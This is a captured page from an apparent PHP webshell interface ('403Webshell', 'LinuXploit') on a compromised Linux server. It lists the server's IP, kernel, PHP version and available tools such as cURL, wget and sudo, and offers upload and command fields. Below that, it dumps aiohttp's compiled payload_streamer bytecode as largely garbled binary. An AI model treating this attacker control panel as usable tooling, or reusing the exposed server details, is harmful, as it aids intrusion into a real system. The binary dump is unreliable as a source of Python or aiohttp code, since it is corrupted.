403Webshell
Server IP : 65.1.209.187  /  Your IP : 216.73.216.144
Web Server : nginx/1.24.0
System : Linux ip-172-31-5-206 6.14.0-1015-aws #15~24.04.1-Ubuntu SMP Tue Sep 23 22:44:48 UTC 2025 x86_64
User :  ( 1001)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/aiohttp/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/aiohttp/__pycache__/payload_streamer.cpython-312.pyc
�

�wce'����dZddlZddlZddlmZmZmZmZmZddl	m
Z
ddlmZm
Z
dZGd�d	�ZGd
�d�Ze
e�Gd�d
e��Ze
e�Gd�de��Zy)am
Payload implementation for coroutines as data provider.

As a simple case, you can upload data from file::

   @aiohttp.streamer
   async def file_sender(writer, file_name=None):
      with open(file_name, 'rb') as f:
          chunk = f.read(2**16)
          while chunk:
              await writer.write(chunk)

              chunk = f.read(2**16)

Then you can use `file_sender` like this:

    async with session.post('http://httpbin.org/post',
                            data=file_sender(file_name='huge_file')) as resp:
        print(await resp.text())

..note:: Coroutine must accept `writer` as first argument

�N)�Any�	Awaitable�Callable�Dict�Tuple�)�AbstractStreamWriter)�Payload�payload_type)�streamerc�X�eZdZdededfdeedfdeeefddfd�Z	de
ddfd	�Zy)
�_stream_wrapper�coro.N�args�kwargs�returnc�T�tj|�|_||_||_y�N)�types�	coroutinerrr)�selfrrrs    �:/usr/lib/python3/dist-packages/aiohttp/payload_streamer.py�__init__z_stream_wrapper.__init__$s"���O�O�D�)��	���	�����writerc��tK�|j|g|j��i|j���d{���y7��wr)rrr�rrs  r�__call__z_stream_wrapper.__call__.s,�����d�i�i��:����:�d�k�k�:�:�:�s�.8�6�8)�__name__�
__module__�__qualname__rrrrr�strrr	r�rrrr#s_����s�I�d�O�+�,���C��H�o���S�#�X��	�

��;�%9�;�d�;rrc�@�eZdZdededfddfd�Zdededefd�Zy)	rr.Nrc�J�tjdtd��||_y)Nz5@streamer is deprecated, use async generators instead�)�
stacklevel)�warnings�warn�DeprecationWarningr)rrs  rrzstreamer.__init__3s ���
�
�C���	
�
��	rrrc�0�t|j||�Sr)rr)rrrs   rrzstreamer.__call__;s���t�y�y�$��7�7r)	rr r!rrrrrrr#rrrr2s=���X�c�9�T�?�&:�;����8�c�8�S�8�_�8rrc��eZdZdeddfd�Zy)�StreamWrapperPayloadrrNc��BK�|j|��d{���y7��wr��_valuers  r�writezStreamWrapperPayload.writeA������k�k�&�!�!�!�����)rr r!r	r1r#rrr-r-?s��"�"6�"�4�"rr-c�@��eZdZdedededdf�fd�Zdeddfd�Z�xZS)	�
StreamPayload�valuerrrNc�6��t�|�|�g|��i|��yr)�superr)rr6rr�	__class__s    �rrzStreamPayload.__init__Gs���
�����2�4�2�6�2rrc��BK�|j|��d{���y7��wrr/rs  rr1zStreamPayload.writeJr2r3)rr r!rrr	r1�
__classcell__)r9s@rr5r5Es8���3�c�3�#�3��3��3�"�"6�"�4�"rr5)�__doc__rr(�typingrrrrr�abcr	�payloadr
r�__all__rrr-r5r#rr�<module>rAsx���0
��8�8�%�*�
��;�;�
8�
8��o��"�7�"��"�
�h��"�(�"��"r

Youez - 2016 - github.com/yon3zu
LinuXploit